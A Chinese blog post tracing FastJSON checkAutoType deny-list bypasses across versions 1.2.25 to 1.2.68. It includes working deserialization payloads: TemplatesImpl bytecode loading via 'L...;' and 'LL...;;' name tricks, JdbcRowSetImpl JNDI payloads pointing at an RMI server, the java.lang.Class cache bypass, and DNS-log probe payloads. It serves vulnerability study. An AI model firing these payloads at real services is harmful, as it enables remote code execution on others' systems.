FastJSON checkAutoType 绕过

FastJSON checkAutoType 绕过

本文章全程参考:Fastjson 反序列化历史漏洞分析 并做了一点补充。


在maven仓库中,FastJSON vulnerability 只被标注到 \(1.2.24\) 版本,也即是不对类型进行检查的最后一个版本。但本身还是能够找到很多可以被利用的点。

image-20220329233925064

checkAutoType

1.2.25

FastJSON \(1.2.25-1.2.41\) 版本在反序列化时,添加了 checkAutoType 方法。

com.alibaba.fastjson.parser.ParserConfig 中有这么一个方法:

image-20220328191240374

image-20220328191225097

逻辑

开始会有个替换 $. 的操作,是为了正确加载类内作用域定义的类(局部类),比如类 A 中定义了 B,最终B会被编译为 A$B,而在程序内的类名为 A.B

存在 acceptListdenyList

  • 如果类名与 acceptList 其中一项的开始相符合,这加载该类;
  • 如果类名与 denyList 其中一项的开始相符合,这抛出异常 JSONException("autoType is not support. " + typeName)

对于 autoTypeSupport 值为 true 时,会先与 acceptList 进行匹配;

对于 autoTypeSupport 值为 false时,会先与 denytList 进行匹配;

而且最后如果加载的 ClassClassloaderDataSource 的类型或子类(实现类)的类型,也会抛出 JSONException

调用栈
checkAutoType:805, ParserConfig (com.alibaba.fastjson.parser)
parseObject:322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)

checkAutoType 方法会在 DefaultJSONParserpublic final Object parseObject(final Map object, Object fieldName) 中被调用:

image-20220329004518711

:这个 JSON.DEFAULT_TYPE_KEY 就是字符串 @type

也就是说如果json 键为 @type 且没有加入参数或 Feature.DisableSpecialKeyDetect 那么就会进入 checkAutoType 检查该类名是否在 acceptListdenyList 中。

注意:该方法在无Class参数parse 方法中被调用,所以对于指定了 Classparse 不会调用此方法。

acceptList 与 denyList 的初始化

这两个列表被定义在 ParserConfig 中,通过静态代码快在载入时初始化:

image-20220328172833199

autoTypeSupport

getStringProperty 获取,最终从 System.getPropertyDEFAULT_PROPERTIES.getProperty

获取(如果 System.getProperty 获取值为 null 的话)。

image-20220328173046918

denyList

String[] denyList 被定义与 com.alibaba.fastjson.parser.ParserConfig 中,包含一个初始值:

private String[] denyList  = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

即:

bsh,com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel,org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat,org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate,org.jboss
org.mozilla.javascript
org.python.core,org.springframework

部分是具体的类,部分是包

注意:可以看到 denyList 中包含 com.sun,故 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplcom.sun.rowset.JdbcRowSetImpl利用链在该版本以及之后就不可用了。

ParserConfig 的构造方法最后会调用 addItemsToDeny(DENYS),即将 DENYS 中的元素添加进 denyList 中;

String[] DENYS 是在静态代码块中赋值的,通过 getStringProperty(DENY_PROPERTY) 来获取属性值;如果无法从 System.getProperty 获取,这从自定义的 DEFAULT_PROPERTIES 中获取;

获取属性值 property 之后 ,便通过 splitItemsFormProperty(property) 确定 DENYS 元素列表。

image-20220328174116544

将该属性值以 分割,就为 DENYS (可能为null)。最终元素都会被添加到 denyList 中。

其实从这里就可以看出,列表就是单纯依靠 分割的,多一个空格都不行。

当然 ParseConfig 提供了addDeny(String) 方法,以便将类名添加进 denyList

:全局 ParserConfig 对象可以通过 ParserConfig.getGlobalInstance 方法获取。

acceptList

初始化方式与 denyList 类似;不同的是,该列表初始为空列表,之后通过 String [] AUTO_TYPE_ACCEPT_LIST 确定元素。

AUTO_TYPE_ACCEPT_LIST 也是通过获取 property:fastjson.parser.autoTypeAccept 的值并以 , 分割得到的;如果返回值为 null,这最终为空列表。

:未设置相应属性值的正常情况下的 PaserConfig 实例:

image-20220328174510683

:在 FastJSON \(1.2.25\) 中,自定义 item.Value, 如果不设置系统属性值,则会抛出 com.alibaba.fastjson.JSONException: autoType is not support. item.Value;设置 fastjson.parser.autoTypeAccept 属性之后,可解决该问题

package item;

public class Value {
	public Value(){}
    public int getV() {return 1;}
    public void setV(int v) {}
}


@Test
public void property() {
    System.setProperty("fastjson.parser.autoTypeAccept", "niss,whatever,item")
    Object i = new Value();
    String payload = JSON.toJSONString(i, SerializerFeature.WriteClassName);
    System.out.println(payload);
    Object o = JSON.parseObject(payload);
    System.out.println(o);
}

{"@type":"item.Value","v":1}
{"v":1}

image-20220329005825534

:在 FastJSON \(1.2.25\) 中,使用 TemplatesImpl 利用链是会抛出 JSONException: autoType not support 的,但是设置如下系统属性就可成功执行反序列化PoC:

System.setProperty("fastjson.parser.autoTypeSupport", "true");
System.setProperty("fastjson.parser.autoTypeAccept", "com.sun");

Peek 2022-03-27 03-32

注意:由于这几个属性都是静态代码块生成的,所以需要在FastJSON相关类被载入之前就设置属性

当然 ParseConfig 提供了addAccept(String) 方法,以便将类名添加进 acceptList

关于 autoTypeSupport 值的设置,ParserConfig 提供了 setAutoTypeSupport(bool) 方法

绕过方式

查看 checkAutoType 方法,匹配到 acceptList 的类名最终作为 TypeUtils.loadClass 的参数。

TypeUtils.loadClass 方法

image-20220329011040996

也就是以 [ 开头 或者 以L 开头且以 ; 结尾 的类名会被去掉字符后,在通过类名载入对应类。

为了绕开 DENY 匹配,可以将待反序列化json中 @type 的值添加相应字符,即可

注意:由于 [ 会被检测为json数组开始,所以一般用 L + ;

但是 checkAutoType 方法的最后:当 autoTypeSuppoerfalse 时,会始终抛出 JSONException,所以要以该方式绕过,则需要将其设置为 true

image-20220329013924967

注意:发现 loadClass 按照递归处理,所以要修改 json 中的每个键值对的 @type 值。

System.setProperty("fastjson.parser.autoTypeSupport", "true");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\"," +
    "\"_bytecodes\":["+encoded+"]," +
    "\"_name\":\"a.b\"," +
    "\"_tfactory\":{}," +
    "\"_outputProperties\":{}\n}";
JSON.parseObject(data,Feature.SupportNonPublicField);

Peek 2022-03-27 03-32

该方法对 \(1.2.25\leq version \leq 1.2.41\) 有效。

1.2.42 哈希列表

FastJSON \(1.2.42\)

该版本以及之后版本中, acceptListdenyList 变成了 private long[] denyHashCodesprivate long[] acceptHashCodes ,而且 denyHashCodes 为:

image-20220329023233937

之后所有的类名会经过 TypeUtils.fnv1a_64 方法处理变为long之后,存入对应列表中

其他并没有大变化,这包括这些静态变量的初始化过程:

image-20220329023350302

而且该系列版本在匹配 acceptHashCodesdenyHashCodes 之前就去除了 [、或 (L;)。

:由于这些静态列表初始化时还是依赖于 System.Property 所以,通过设置系统属性值依旧有效

System.setProperty("fastjson.parser.autoTypeSupport", "true");
// 或 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.setProperty("fastjson.parser.autoTypeAccept", "com.sun");
// 或 ParserConfig.getGlobalInstance().addAccept("com.sun"); 
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    "\"_bytecodes\":["+encoded+"]," +
    "\"_name\":\"a.b\"," +
    "\"_tfactory\":{}," +
    "\"_outputProperties\":{}\n}";
JSON.parseObject(data,Feature.SupportNonPublicField);

Peek 2022-03-27 03-32

主要是中间做了一些改变:

image-20220329024421907

发现之前初始化时对列表排序,是为了在这使用二分查找 🧐。

会发现在与列表匹配之前,有一段去字符的代码,通过猜测发现其作用正是去掉开头的 L 结尾的 ;

((((0xcbf29ce484222325L ^ 'L') * 0x100000001b3L) ^ ';') * 0x100000001b3L) == 0x9198507b5af98f0L

true
黑白名单破解

github项目:https://github.com/LeadroyaL/fastjson-blacklist

通过对包名、类名做同样的算法处理,与其进行匹配,还原了部分 hashCode 对应的 String

绕过方式

由于在之前就被去掉一次字符(如果字符匹配的话),而且调用 TypeUtils.loadClass 方法时会再次去掉一次,所以双写相应字符即可:

  • 双写 ClassName ==> LLClassName;;

System.setProperty("fastjson.parser.autoTypeSupport", "true");
// 或 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\"," +
    "\"_bytecodes\":["+encoded+"]," +
    "\"_name\":\"a.b\"," +
    "\"_tfactory\":{}," +
    "\"_outputProperties\":{}\n}";
JSON.parseObject(data,Feature.SupportNonPublicField);

由于之前版本最多去除一次字符,该方式只对 \(1.2.42\) 版本有效。

Peek 2022-03-27 03-32

1.2.43 对LL的检测

LL 字符抛异常

FastJSON \(1.2.43\)

在该版本中,在 checkAutoType 增加了开头的 LL 匹配:

image-20220329202520633

(((0xcbf29ce484222325L^'L')* 0x100000001b3L)^'L')*0x100000001b3L == 0x9195c07b5af5345L
    
true

如果 className 前两个字符为 LL,这抛出异常

绕过方式
mybatis

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\(1.2.46\) 版本才被加入到黑名单,所以如果服务端依赖于 Mybatis,可以利用该调用链。

数组

由于 [ 开头的 ClassName 表示数组类型,且观察下面的json:

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl",
}

抛出的异常说明:对于 JdbcRowSetImpl 类型的数组, FastJSON 预期 [ 但是获得了 ,

image-20220329210959045

也就是说明对于这种 Object数组的json的形式可能为:

{
    "@type":"[ClassName"[
        {
            
        },
        {
            
        },
        ...
    ]
}

:验证猜想

@Test
public void test(){
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String data = "{\n" +
    "\t\"@type\":\"[item.Value\"[\n" +
    "        {\n" +
    "           \"v\":1, \n" +
    "        },\n" +
    "        {\n" +
    "           \"v\":2,\n" +
    "        }\n" +
    "    ]\n" +
    "}";
    System.out.println(JSON.parse(data));
}

image-20220329212100526

发现调用了两次 constructset 方法,说明确实进行了两次实例化;但是发现异常说明中有:多出了一个 },所以正确形式为

{
    "@type":"LClassName"[
        {
            
        },
        {
            
        },
        ...
    ]

image-20220329212243131

这也证明了之前版本的绕过中,也可以用开头添加 [ 的方式进行绕过,而不会被认为是错误的“开始符”。

所以可以构造 payload

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[
        {
            "dataSourceName":"rmi://127.0.0.1:1099/exec",
            "autoCommit":true
        },
]

该 payload 对 \(\leq 1.2.43\) 都有效。

Peek 2022-03-27 03-32

1.2.44 匹配 [ClassNameLClassName;

在 FastJSON \(1.2.44\) 版本中的 checkAutoType 方法中新增:

image-20220329220243715

(0xcbf29ce484222325L^'[')*0x100000001b3L == 0xaf64164c86024f1aL
true
    
(((0xcbf29ce484222325L^'L')*0x100000001b3L)^';')*0x100000001b3L == 0x9198507b5af98f0L
true

可见 [ 开头或者 L开头、; 结尾的绕过方式已经无效了

绕过方式

mybatis利用链,该版本还没被禁用。

1.2.47 mapping 写入

payload

[
    {
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://127.0.0.1:1099/exec",
        "autoCommit":true
    }
]

该方式对 FastJSON \(\leq 1.2.47\) 版本都生效,且不需要开启 autoTypeSupport

过程分析

由于 java.lang.Class 不在黑、白名单中,在 checkAutoType 方法中会进入 TypeUtils.getClassFromMapping(typeName)

image-20220329222946893

而该方法会尝试从一个 TypeUtils 中的 ConcurrentMap<String,Class<?>> mappings 取对应的类,但实际上是没有的,进入 deserializers.findClass(typeName)

image-20220329223956074

IdentityHashMapdeserialisers 的类型)#findClass 方法被调用:

image-20220329230248336

buckets中存放了一些 java.langjava.utiljava.net 等常用类,其中包括 java.lang.Class,最终会被返回。

回到 checkAutoType 中,只要 expectClass 为null或是HashMap类型,或为expectClass的子类,都会直接返回:

image-20220329230442001

DefaultJSONParser

返回至 DefaultJSONParser#parseObject(final Map object, Object fieldName) 方法,运行到:

image-20220329231010433

会通过返回的 Class 对象获取一个 ObjectDeserializer ,并调用 deserialze 方法反序列化。

deserialze

该方法好像是用于监测一些特殊类,并监测对应的特殊字段:

image-20220330002708343

该方法会不断地接受json字符,并解析将值赋给 objVal(如果json键不是 val 会抛出异常):

image-20220329231826273

之后如果 objVal 是String类型,则会将其赋给 strVal

image-20220329232124565

有一步会判断如果传入的 clazzClass 类型,那么就回去加载 strVal 表示的类,并返回:

image-20220329231607743

注意:这里会对很多类型进行检测,并生成相应的对象:

UUID=> UUID.fromString(strVal)

URI=> URI.create(strVal)

URL=> new URL(strVal)

Pattern=>Pattern.compile(strVal)

InetAddress/Inet4Address/Inet6Address=>InetAddress.getByName(strVal)

File=>new File(strVal)

...

这个 strVal 就是json中的 val 的值。

其中可以看到有网络相关的,可以利用如下payload 进行DNS探测:

{
 "@type":"java.net.InetAddress",
 "val":"yeeabi.dnslog.cn"
}

Peek 2022-03-28 01-49

来源

{"@type":"java.net.InetAddress","val":"dnslog"}

{"@type":"java.net.Inet4Address","val":"dnslog"}

{"@type":"java.net.Inet6Address","val":"dnslog"}

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}

Set[{"@type":"java.net.URL","val":"http://dnslog"}]

Set[{"@type":"java.net.URL","val":"http://dnslog"}

{{"@type":"java.net.URL","val":"http://dnslog"}:0


https://github.com/alibaba/fastjson/issues/3841
最新版 1.2.76 开启safeMode
{"ss":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}}""},}

可以看到 json中 val 表示的类会被成功加载:

image-20220329232300476

TypeUtils#loadClass

TypeUtils#loadClass 中,如果 cache 为真,这会将加载的类添加进 mapping 中:

image-20220329232722588

此时payload中的第二个项的类已经在 mapping 中了!

真正的恶意类的反序列化

接下来到了对 JdbcRowSetImplcheckAutoType 中了:

image-20220329233127171

由于从此时可以从 TypeUtils.getClassFromMapping 成功找到该类,即使在 denyHashCodes 中匹配,下面的条件也不会成立:

image-20220329234504032

再调用一次TypeUtils.getClassFromMapping,返回该类之后,就是对该类的实例化以及属性写入了。

Peek 2022-03-27 03-35

1.2.68 safeMode

FastJSON \(1.2.68\)

一些变动

加入 INTERNAL_WHITELIST_HASHCODES 作为额外的白名单:

image-20220330000652709

方法开始会使用 ParserConfig 内部定义的接口 AutoTypeCheckHandler 去处理(为null跳过);

checkAutoType检验 Feature.SafeMode ,如果提供了则直接抛异常 JSONEXception(safeMode not support autoType : typeName)

image-20220330000846223

DefaultJSONParser 中也做了修改,无法使用Class的val将类写入mapping了。


参考

posted @ 2022-03-30 00:42  NIShoushun  阅读(727)  评论(0编辑  收藏  举报